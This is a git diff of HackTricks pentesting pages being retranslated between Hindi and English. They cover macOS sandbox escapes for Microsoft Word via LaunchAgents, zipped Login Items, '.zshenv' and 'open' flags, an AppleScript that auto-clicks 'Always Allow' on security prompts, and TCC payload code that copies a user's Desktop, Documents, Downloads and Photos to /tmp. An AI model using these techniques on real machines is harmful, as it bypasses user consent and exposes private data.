**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -इस पेज पर आपको मिलेगा कि डिफ़ॉल्ट macOS सैंडबॉक्स के अंदर से विचारात्मक कमांडों को लॉन्च करने के लिए एक ऐप बनाने का तरीका: +इस पृष्ठ पर आप यह जान सकते हैं कि डिफ़ॉल्ट macOS सैंडबॉक्स के अंदर से मनमाने कमांड लॉन्च करने के लिए एक ऐप कैसे बनाया जाए: -1. एप्लिकेशन को कंपाइल करें: +1. एप्लिकेशन को संकलित करें: {% code title="main.m" %} ```objectivec @@ -50,7 +51,7 @@ return 0; ``` {% endcode %} -इसे कंपाइल करें: `clang -framework Foundation -o SandboxedShellApp main.m` +इसे चलाते हुए संकलित करें: `clang -framework Foundation -o SandboxedShellApp main.m` 2. `.app` बंडल बनाएं ```bash @@ -92,7 +93,7 @@ EOF ``` {% endtab %} -{% टैब शीर्षक = "सैंडबॉक्स + डाउनलोड्स" %} +{% tab title="सैंडबॉक्स + डाउनलोड" %} ```bash cat << EOF > entitlements.plist @@ -110,7 +111,7 @@ EOF {% endtab %} {% endtabs %} -4. ऐप को साइन करें (आपको कीचेन में प्रमाणपत्र बनाने की आवश्यकता है) +4. ऐप पर हस्ताक्षर करें (आपको कीचेन में एक प्रमाणपत्र बनाना होगा) ```bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp @@ -118,16 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a # An d in case you need this in the future codesign --remove-signature SandboxedShellApp.app ``` +{% hint style="success" %} +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)! +HackTricks का समर्थन करें -दूसरे तरीके HackTricks का समर्थन करने के लिए: - -* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें। -* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md index 75ddd37a9..7c3d08737 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md @@ -1,62 +1,78 @@ -# macOS Office सैंडबॉक्स बायपास +# macOS Office Sandbox Bypasses + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +Support HackTricks -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारा संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**।** -* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -### शब्द सैंडबॉक्स बायपास Launch Agents के माध्यम से +### Word Sandbox bypass via Launch Agents -एप्लिकेशन **कस्टम सैंडबॉक्स** का उपयोग करता है जिसमें **`com.apple.security.temporary-exception.sbpl`** इंटाइटलमेंट का उपयोग किया जाता है और यह कस्टम सैंडबॉक्स `~$` से शुरू होने वाले फ़ाइलों को लिखने की अनुमति देता है: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` +यह एप्लिकेशन **`com.apple.security.temporary-exception.sbpl`** अधिकार का उपयोग करके एक **कस्टम सैंडबॉक्स** का उपयोग करता है और यह कस्टम सैंडबॉक्स कहीं भी फ़ाइलें लिखने की अनुमति देता है जब तक फ़ाइल का नाम `~$` से शुरू होता है: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` -इसलिए, बाहर निकलना **`plist`** LaunchAgent में लिखना इतना आसान था: `~/Library/LaunchAgents/~$escape.plist`। +इसलिए, बचने के लिए **`~/Library/LaunchAgents/~$escape.plist`** में एक `plist` LaunchAgent लिखना उतना ही आसान था। -[**मूल रिपोर्ट यहाँ देखें**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/). +[**यहां मूल रिपोर्ट देखें**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/)। -### शब्द सैंडबॉक्स बायपास Login Items और zip के माध्यम से +### Word Sandbox bypass via Login Items and zip -पहले बायपास से याद रखें, Word किसी भी फ़ाइल को लिख सकता है जिसका नाम `~$` से शुरू होता है हालांकि पिछले vuln के पैच के बाद `/Library/Application Scripts` या `/Library/LaunchAgents` में लिखना संभव नहीं था। +याद रखें कि पहले के बचाव से, Word मनमाने फ़ाइलें लिख सकता है जिनका नाम `~$` से शुरू होता है, हालांकि पिछले कमजोरियों के पैच के बाद `/Library/Application Scripts` या `/Library/LaunchAgents` में लिखना संभव नहीं था। -साबित हुआ कि सैंडबॉक्स के अंदर से एक **लॉगिन आइटम** (एप्स जो उपयोगकर्ता लॉग इन करते समय चलाए जाएंगे) बनाना संभव है। हालांकि, ये एप्स **केवल तभी चलेंगे जब** वे **नोटराइज़्ड** होंगे और **एर्ग्स जोड़ना संभव नहीं** है (तो आप **`bash`** का उपयोग करके बस एक रिवर्स शैल नहीं चला सकते हैं)। +यह पता चला कि सैंडबॉक्स के भीतर एक **Login Item** (ऐप्स जो उपयोगकर्ता के लॉग इन करने पर निष्पादित होंगे) बनाना संभव है। हालाँकि, ये ऐप्स **तब तक निष्पादित नहीं होंगे** जब तक कि वे **नोटराइज्ड** न हों और **आर्ग्स जोड़ना संभव नहीं है** (इसलिए आप केवल **`bash`** का उपयोग करके एक रिवर्स शेल नहीं चला सकते)। -पिछले सैंडबॉक्स बायपास से, Microsoft ने `~/Library/LaunchAgents` में फ़ाइलें लिखने का विकल्प अक्षम कर दिया था। हालांकि, पाया गया कि अगर आप एक **zip फ़ाइल को लॉगिन आइटम के रूप में डालते हैं** तो `Archive Utility` उसे अपने वर्तमान स्थान पर **अनज़िप** कर देगा। इसलिए, क्योंकि डिफ़ॉल्ट रूप से `~/Library` के `LaunchAgents` फ़ोल्डर नहीं बनाया गया है, इसे संधारित स्थान तक पहुंचाने के लिए **`LaunchAgents/~$escape.plist` में एक plist ज़िप किया जा सकता था** और **`~/Library`** में ज़िप फ़ाइल रख दी जा सकती थी ताकि जब इसे डीकंप्रेस किया जाए, वह स्थायिति गंतव्य तक पहुंचेगा। +पिछले सैंडबॉक्स बायपास से, Microsoft ने `~/Library/LaunchAgents` में फ़ाइलें लिखने का विकल्प अक्षम कर दिया। हालाँकि, यह पता चला कि यदि आप एक **ज़िप फ़ाइल को Login Item के रूप में रखते हैं** तो `Archive Utility` बस इसे उसके वर्तमान स्थान पर **अनज़िप** कर देगा। इसलिए, चूंकि डिफ़ॉल्ट रूप से `~/Library` से `LaunchAgents` फ़ोल्डर नहीं बनाया गया है, इसलिए **`LaunchAgents/~$escape.plist`** में एक plist को **ज़िप करना** और **ज़िप फ़ाइल को `~/Library` में रखना** संभव था ताकि जब इसे अनकंप्रेस किया जाए तो यह स्थायी गंतव्य तक पहुँच जाए। -[**मूल रिपोर्ट यहाँ देखें**](https://objective-see.org/blog/blog\_0x4B.html). +[**यहां मूल रिपोर्ट देखें**](https://objective-see.org/blog/blog\_0x4B.html)。 -### शब्द सैंडबॉक्स बायपास Login Items और .zshenv के माध्यम से +### Word Sandbox bypass via Login Items and .zshenv -(पहले बायपास से याद रखें, Word किसी भी फ़ाइल को लिख सकता है जिसका नाम `~$` से शुरू होता है)। +(याद रखें कि पहले के बचाव से, Word मनमाने फ़ाइलें लिख सकता है जिनका नाम `~$` से शुरू होता है)। -हालांकि, पिछली तकनीक की एक सीमा थी, यदि फ़ोल्डर **`~/Library/LaunchAgents`** मौजूद है क्योंकि कुछ अन्य सॉफ़्टवेयर ने इसे बनाया है, तो यह विफल हो जाएगा। इसके लिए इसके लिए एक विभिन्न लॉगिन आइटम श्रृंखला इसके लिए खोजी गई थी। +हालाँकि, पिछले तकनीक में एक सीमा थी, यदि फ़ोल्डर **`~/Library/LaunchAgents`** मौजूद है क्योंकि कुछ अन्य सॉफ़्टवेयर ने इसे बनाया है, तो यह विफल हो जाएगा। इसलिए इसके लिए एक अलग Login Items श्रृंखला का पता लगाया गया। -एक हमलावर फ़ाइलें बना सकता था **`.bash_profile`** और **`.zshenv`** जिसमें पेलोड को निष्पादित करने के लिए और फिर उन्हें ज़िप करके और **ज़िप फ़ाइल को पीड़ितों** उपयोगकर्ता फ़ोल्डर में लिखने के लिए: **`~/~$escape.zip`**। +एक हमलावर फ़ाइलें **`.bash_profile`** और **`.zshenv`** बना सकता है जिसमें निष्पादित करने के लिए पेलोड हो और फिर उन्हें ज़िप कर सकता है और **ज़िप को पीड़ित** के उपयोगकर्ता फ़ोल्डर में लिख सकता है: **`~/~$escape.zip`**। -फिर, ज़िप फ़ाइल को **लॉगिन आइटम** में जोड़ें और फिर **`Terminal`** एप्लिकेशन। जब उपयोगकर्ता फिर से लॉग इन करता है, तो ज़िप फ़ाइल उपयोगकर्ता फ़ाइल में अनकंप्रेस हो जाएगा, **`.bash_profile`** और **`.zshenv`** को अधिलेखित करके और इसलिए, टर्मिनल एक इनमें से एक फ़ाइल को निष्पादित करेगा (यह बाश या zsh का उपयोग करता है इस पर निर्भर करता है)। +फिर, ज़िप फ़ाइल को **Login Items** में जोड़ें और फिर **`Terminal`** ऐप। जब उपयोगकर्ता फिर से लॉगिन करता है, तो ज़िप फ़ाइल उपयोगकर्ता फ़ाइल में अनकंप्रेस की जाएगी, **`.bash_profile`** और **`.zshenv`** को ओवरराइट करते हुए और इसलिए, टर्मिनल इनमें से एक फ़ाइल को निष्पादित करेगा (इस पर निर्भर करते हुए कि bash या zsh का उपयोग किया गया है)। -[**मूल रिपोर्ट यहाँ देखें**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c). +[**यहां मूल रिपोर्ट देखें**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)。 -### Open और env variables के साथ शब्द सैंडबॉक्स बायपास +### Word Sandbox Bypass with Open and env variables -सैंडबॉक्स प्रक्रियाओं से अन्य प्रक्रियाओं को **`open`** उपयोग करके आमंत्रित करना भी संभव है। इसके अतिरिक्त, ये प्रक्रियाएँ **अपने खुद के सैंडबॉक्स के अंदर चलेंगी**। +सैंडबॉक्स किए गए प्रक्रियाओं से अन्य प्रक्रियाओं को **`open`** उपयोगिता का उपयोग करके बुलाना अभी भी संभव है। इसके अलावा, ये प्रक्रियाएँ **अपने स्वयं के सैंडबॉक्स** के भीतर चलेंगी। -पाया गया कि open यूटिलिटी में **`--env`** विकल्प है एक ऐप को **निश्चित env** वेरिएबल्स के साथ चलाने के लिए। इसलिए, सैंडबॉक्स के अंदर एक फ़ोल्डर के भीतर **`.zshenv` फ़ाइल** बनाना संभव था और `open` का उपयोग करना `--env` के सेटिंग के साथ `HOME` वेरिएबल को उस फ़ोल्डर में सेट करने के लिए करना था जिससे वह `Terminal` एप्लिकेशन खोलेगा, जो `.zshenv` फ़ाइल को निष्पादित करेगा (कुछ कारणों से इसे वर्चुअल `__OSINSTALL_ENVIROMENT` भी सेट करने की आवश्यकता थी)। +यह पता चला कि ओपन उपयोगिता में **`--env`** विकल्प है जिससे एक ऐप को **विशिष्ट env** वेरिएबल्स के साथ चलाया जा सकता है। इसलिए, यह संभव था कि **सैंडबॉक्स** के भीतर एक फ़ोल्डर में **`.zshenv` फ़ाइल** बनाई जाए और `open` का उपयोग करके `--env` के साथ **`HOME` वेरिएबल** को उस फ़ोल्डर में सेट किया जाए, जिससे वह `Terminal` ऐप खोले, जो `.zshenv` फ़ाइल को निष्पादित करेगा (किसी कारण से `__OSINSTALL_ENVIROMENT` वेरिएबल सेट करना भी आवश्यक था)। -[**मूल रिपोर्ट यहाँ देखें**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/). +[**यहां मूल रिपोर्ट देखें**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)। -### Open और stdin के साथ शब्द सैंडबॉक्स बायपास +### Word Sandbox Bypass with Open and stdin -**`open`** यूटिलिटी ने भी **`--stdin`** पैरामीटर का समर्थन किया (और पिछले बायपास के बाद `--env` का उपयोग संभव नहीं था)। +**`open`** उपयोगिता ने **`--stdin`** पैरामीटर का भी समर्थन किया (और पिछले बायपास के बाद `--env` का उपयोग करना संभव नहीं था)। -बात यह है कि यदि **`python`** को Apple द्वारा साइन किया गया था, तो यह **`quarantine`** गुणधर्म के साथ एक स्क्रिप्ट को नहीं निष्पादित करेगा। हालांकि, इसे stdin से एक स्क्रिप्ट पास करना संभव था ताकि यह यह जांच न करे कि यह क्वारंटाइन है या नहीं: +बात यह है कि भले ही **`python`** Apple द्वारा साइन किया गया हो, यह **`quarantine`** विशेषता वाली स्क्रिप्ट को **निष्पादित नहीं करेगा**। हालाँकि, इसे stdin से एक स्क्रिप्ट पास करना संभव था ताकि यह न देखे कि यह क्वारंटाइन में था या नहीं: -1. एक **`~$exploit.py`** फ़ाइल ड्रॉप करें जिसमें विचित Python कमांड हों। -2. चलाएं _open_ **`–stdin='~$exploit.py' -a Python`**, जो हमारी ड्रॉप की गई फ़ाइल के साथ पाइथन एप्लिकेशन को चलाता है जो इसके मानक इनपुट के रूप में काम करता है। पाइथन खुशी से हमारा कोड चलाता है, +1. एक **`~$exploit.py`** फ़ाइल छोड़ें जिसमें मनमाने Python कमांड हों। +2. _open_ **`–stdin='~$exploit.py' -a Python`** चलाएँ, जो Python ऐप को हमारे छोड़े गए फ़ाइल के मानक इनपुट के रूप में चलाता है। Python खुशी-खुशी हमारे कोड को चलाता है, और चूंकि यह _launchd_ का एक चाइल्ड प्रोसेस है, यह Word के सैंडबॉक्स नियमों से बंधा नहीं है। + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md index fbd56df95..b977d31a7 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md @@ -1,40 +1,56 @@ -# macOS एप्पल स्क्रिप्ट्स +# macOS Apple Scripts + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +Support HackTricks -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! -* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें। -* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github रेपो में PR जमा करके। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## एप्पल स्क्रिप्ट्स +## Apple Scripts -यह एक स्क्रिप्टिंग भाषा है जिसका उपयोग कार्य स्वचालन के लिए **दूरस्थ प्रक्रियाओं के साथ बातचीत** करने के लिए किया जाता है। यह किसी अन्य प्रक्रियाएँ कुछ कार्रवाई करने के लिए कहना बहुत आसान बना देता है। **मैलवेयर** इन सुविधाओं का दुरुपयोग कर सकता है ताकि अन्य प्रक्रियाएँ द्वारा निर्यात की गई कार्यों का दुरुपयोग करें।\ -उदाहरण के लिए, एक मैलवेयर **ब्राउज़र खुली पृष्ठों में विचित्र JS कोड इंजेक्ट** कर सकता है। या उपयोगकर्ता से अनुमति मांगने वाली कुछ अनुमति को **स्वचालित रूप से क्लिक** कर सकता है। +यह एक स्क्रिप्टिंग भाषा है जो कार्य स्वचालन के लिए **दूरस्थ प्रक्रियाओं के साथ बातचीत** करने के लिए उपयोग की जाती है। यह **अन्य प्रक्रियाओं से कुछ क्रियाएँ करने के लिए पूछना** काफी आसान बनाता है। **Malware** इन सुविधाओं का दुरुपयोग कर सकता है ताकि अन्य प्रक्रियाओं द्वारा निर्यातित कार्यों का दुरुपयोग किया जा सके।\ +उदाहरण के लिए, एक malware **ब्राउज़र में खोले गए पृष्ठों में मनमाना JS कोड इंजेक्ट कर सकता है**। या **कुछ अनुमति अनुरोधों पर स्वचालित क्लिक** कर सकता है; ```applescript tell window 1 of process "SecurityAgent" click button "Always Allow" of group 1 end tell ``` -यहाँ आपको कुछ उदाहरण मिलेंगे: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ -एप्पलस्क्रिप्ट का उपयोग करके मैलवेयर के बारे में अधिक जानकारी [**यहाँ**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/) मिलेगी। +यहाँ कुछ उदाहरण हैं: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ +AppleScripts का उपयोग करके मैलवेयर के बारे में अधिक जानकारी [**यहाँ**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/) प्राप्त करें। -एप्पल स्क्रिप्ट आसानी से "**कॉम्पाइल**" किए जा सकते हैं। इन संस्करणों को `osadecompile` के साथ आसानी से "**डीकॉम्पाइल**" किया जा सकता है। +Apple scripts को आसानी से "**संकलित**" किया जा सकता है। इन संस्करणों को आसानी से "**डीकंपाइल**" किया जा सकता है `osadecompile` के साथ। -हालांकि, ये स्क्रिप्ट भी **"केवल पढ़ने के लिए"** के रूप में निर्यात किए जा सकते हैं (विकल्प "निर्यात..." के माध्यम से): +हालांकि, ये स्क्रिप्ट को **"केवल पढ़ने के लिए" निर्यात** भी किया जा सकता है ( "निर्यात..." विकल्प के माध्यम से):
``` file mal.scpt mal.scpt: AppleScript compiled ``` -और इस मामले में सामग्री को `osadecompile` के साथ भी डिकंपाइल नहीं किया जा सकता +और इस मामले में सामग्री को `osadecompile` के साथ भी डिकंपाइल नहीं किया जा सकता। -हालांकि, इस प्रकार के एक्जीक्यूटेबल्स को समझने के लिए कुछ उपकरण अभी भी हैं, [**अधिक जानकारी के लिए इस रिसर्च को पढ़ें**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). उपकरण [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) के साथ [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) काफी उपयोगी होगा ताकि स्क्रिप्ट काम कैसे करता है, समझने में। +हालांकि, कुछ उपकरण हैं जिनका उपयोग इस प्रकार के निष्पादन योग्य को समझने के लिए किया जा सकता है, [**अधिक जानकारी के लिए इस शोध को पढ़ें**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/))। उपकरण [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) और [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) स्क्रिप्ट के काम करने के तरीके को समझने के लिए बहुत उपयोगी होंगे। + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md index 7fe190d73..3e59d1ddf 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md @@ -1,18 +1,19 @@ -# macOS TCC पेलोड्स +# macOS TCC Payloads + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +Support HackTricks -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें। -* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ### डेस्कटॉप @@ -21,7 +22,7 @@ HackTricks का समर्थन करने के अन्य तरी {% tabs %} {% tab title="ObjetiveC" %} -`$HOME/Desktop` की कॉपी करें `/tmp/desktop` में। +कॉपी करें `$HOME/Desktop` से `/tmp/desktop`। ```objectivec #include #include @@ -55,9 +56,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="शैल" %} -`$HOME/Desktop` की `/tmp/desktop` में कॉपी करें। -{% endtab %} +{% tab title="Shell" %} +`$HOME/Desktop` को `/tmp/desktop` में कॉपी करें। ```bash cp -r "$HOME/Desktop" "/tmp/desktop" ``` @@ -71,7 +71,7 @@ cp -r "$HOME/Desktop" "/tmp/desktop" {% tabs %} {% tab title="ObjetiveC" %} -`$HOME/Documents` की कॉपी करें `/tmp/documents` में। +`$HOME/Documents` को `/tmp/documents` में कॉपी करें। ```objectivec #include #include @@ -120,7 +120,7 @@ cp -r "$HOME/Documents" "/tmp/documents" {% tabs %} {% tab title="ObjetiveC" %} -`$HOME/Downloads` की `/tmp/downloads` में कॉपी करें। +`$HOME/Downloads` को `/tmp/downloads` में कॉपी करें। ```objectivec #include #include @@ -154,23 +154,22 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="शैल" %} +{% tab title="Shell" %} `$HOME/Dowloads` को `/tmp/downloads` में कॉपी करें। -{% endtab %} ```bash cp -r "$HOME/Downloads" "/tmp/downloads" ``` {% endtab %} {% endtabs %} -### फोटो लाइब्रेरी +### फ़ोटो लाइब्रेरी * **अधिकार**: `com.apple.security.personal-information.photos-library` * **TCC**: `kTCCServicePhotos` {% tabs %} {% tab title="ObjetiveC" %} -`$HOME/Pictures/Photos Library.photoslibrary` की प्रतिलिपि `/tmp/photos` में कॉपी करें। +कॉपी करें `$HOME/Pictures/Photos Library.photoslibrary` को `/tmp/photos` में। ```objectivec #include #include @@ -205,7 +204,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -`$HOME/Pictures/Photos Library.photoslibrary` की प्रतिलिपि 